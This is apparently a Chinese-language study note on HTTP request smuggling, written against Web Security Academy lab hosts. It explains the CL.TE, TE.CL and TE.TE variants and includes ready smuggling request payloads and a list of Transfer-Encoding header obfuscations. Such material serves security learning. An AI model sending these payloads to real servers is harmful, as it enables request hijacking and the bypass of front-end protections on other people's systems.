原理
HTTP 请求的请求体有2种判定方式
- 利用Content-Length字段来判定请求体的内容长度
- 利用Transfer-Encoding字段来判定请求体的结束位置
Content-Length
正常post请求,会带上请求体(body),请求体有多长,Content-Length的值就是多少
Transfer-Encoding
Transfer-Encoding就是分块传输的标志,它不靠Content-Length来告诉web服务器请求体有多长,而是靠0这个字符来代表分块结束,之后还要换行2次(重点!!!)
- 分块传输的格式
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked
3
aaa
5
aa
a
0
上面这行代表着分了3段,第一段是3个a,第二段是2个a和一个\r和一个\n再1个a,第三段是空
aaa上面的3是长度,表示第一段有3个字节,同理第二段加上换号就是5个字节,最后一段为空就0个字节,但最后有2个换行表示结束
再注意,长度是以16进制表示,即如下下面字节长度为27,则长度为1b
类型
请求走私攻击包括将内容长度头和传输编码报头进入单个HTTP请求并对这些请求进行操作,以便前端服务器和后端服务器处理请求的方式不同。具体的方式取决于这两个服务器的行为:
- CL.TE:前端服务器使用内容长度头和后端服务器使用传输编码头球。
- TE.CL:前端服务器使用传输编码头和后端服务器使用内容长度头球。
- TE.TE:前端和后端服务器都支持传输编码头,但其中一台服务器可以通过某种方式混淆报头,从而避免对其进行处理。
实际操作
//真实的数据包是这样的
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 3
Transfer-Encoding: chunked
1\r\n
G\r\n
0\r\n\r\n
CL.TE
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
因为是CL.TE(前端认定长度CL,后端认定分块TE)
前端看到长度是6,就读取6个字节,0\r\n\r\nG,将数据包全部发到后端
后端认定是分块,读到0\r\n就结束了,后端服务器的缓冲区里还留下了一个G,这个G就会留在缓冲区里(通常10s后会过期)和下一个请求拼接到一起
TE.CL
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
0
因为是TE.CL(前端认定是分块TE,后端认定长度CL)
5c是十六进制的数据,转为十进制为92,就是5c下面的数据包的长度
前端认为这是一个TE数据包,第一个数据块的长度是5c(92),遇到0结束
所以会将整个数据包都发送给后端服务器处理
后端服务器认定CL,CL的长度是4,所以只截取到5c
5c明明是两个字符为什么长度是4? 因为还有一个你看不到的\r\n
而下面的GPOST...会被后端认为是另一个http数据包
TE.TE
可能有无数种混淆Transfer-Encoding标头的方法。例如:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
前端看到
Transfer-Encoding:chunked
Transfer-encoding:cow
认为这还是TE型的包,
但是后端服务器认为这不对劲,应该按照CL格式来看
参考:
https://www.cnblogs.com/linghu-java/p/11193886.html
https://www.jianshu.com/p/6173b56f15e0
https://www.cnblogs.com/sijidou/p/13121343.html